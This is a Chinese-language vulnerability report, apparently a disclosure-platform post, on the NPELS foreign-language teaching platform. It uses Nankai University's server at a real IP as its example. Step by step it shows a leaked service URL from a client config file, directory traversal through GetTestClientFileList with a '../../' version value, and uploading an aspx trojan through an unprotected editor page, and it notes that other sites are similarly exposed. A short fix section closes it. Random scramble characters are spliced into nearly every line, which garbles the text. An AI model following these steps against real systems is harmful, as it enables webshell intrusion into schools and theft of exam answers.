好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中
/ [# J, F1 m9 @" U9 A% e* u( i( Y! E5 }7 k
详细说明:( g5 w6 _) }" [, ^ _% k
+ a% y6 J; Q$ F% A0 s% o2 v% A* z6 ]以南开大学的为例: $ S, ^+ u& U8 O' K% |
http://222.30.60.3/NPELS0 K$ _; g; j2 E# R
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
! D0 u( P( x; V. {<setting name="Update_CommonSvr_CommonService" serializeAs="String">% ^7 N$ o2 |$ w1 i) k
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
) J" J& y s* v/ Y</setting>! P& P6 R2 z, z
及版本号/ z. J2 U, t5 q2 X1 a
<add key="TVersion" value="1, 0, 0, 2187">
* d4 ]+ }7 P. _& b) {1 a: v- C( e</add>
/ n4 q7 u X2 h& [+ @直接访问
z; R+ O. |2 S- Zhttp://222.30.60.3/NPELS/CommonService.asmx; v f, }/ e; i
使用GetTestClientFileList操作,直接 HTTP GET 列目录:
+ `, W' T$ N! Whttp://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
! X+ K5 q9 \- c# k进一步列目录(返回的网页很大,可以直接 wget 下来)3 f+ P" [4 B% K
http://222.30.60.3/NPELS/CommonS ... List?version=../../! J3 F+ s0 Z& o
4 u; w: b7 A7 w+ N: c* d9 A6 t发现
2 l6 [: K8 r, i; S0 t& Dhttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm( r/ T! g' J: ^
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头
$ I8 p! _( K- b* [+ }上传后继续列目录找到木马地址直接访问即可$ a! ]7 R4 I4 n/ n( Z
9 m' [& I. D/ h
OOXX0 g8 H5 j* N% O/ H- d& d1 N
3 F' o' E- _8 i0 ^$ c# jGoogle "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法
- [' M6 ~, ^' f! b* X漏洞证明:- ^" \6 x" f6 Q- c" D9 B
+ T( c" I: W. L+ Z1 @# W列目录:* W4 ?3 ?" Y$ N$ i; W! D/ H Y/ c$ q) i
http://222.30.60.3/NPELS/CommonS ... List?version=../../6 G6 m) Y4 }- V% v: u( |
文件上传:- ?# J' f* D# Z: g H
http://222.30.60.3/npelsv/editor/editor.htm! {0 }% B0 W) E- L9 x% ~ C( K0 t
8 v* o, h' d n8 w+ ~上传木马:+ G2 {! N0 b. a
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx: z2 w, [) T( \6 n1 h0 ~% A
; X( r n6 ~, ` L7 s8 `
修复方案:& h% j( }7 @" K1 l8 U5 X* S
好像考试系统必须使用 CommonService.asmx, i, Q' y6 u; _( g4 g
最好配置文件加密或者用别的方式不让它泄露出来
, e, L& n7 W5 Z/ z# I4 s$ r' I4 j) H3 s并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样
Y" H- [/ }+ j! O1 i |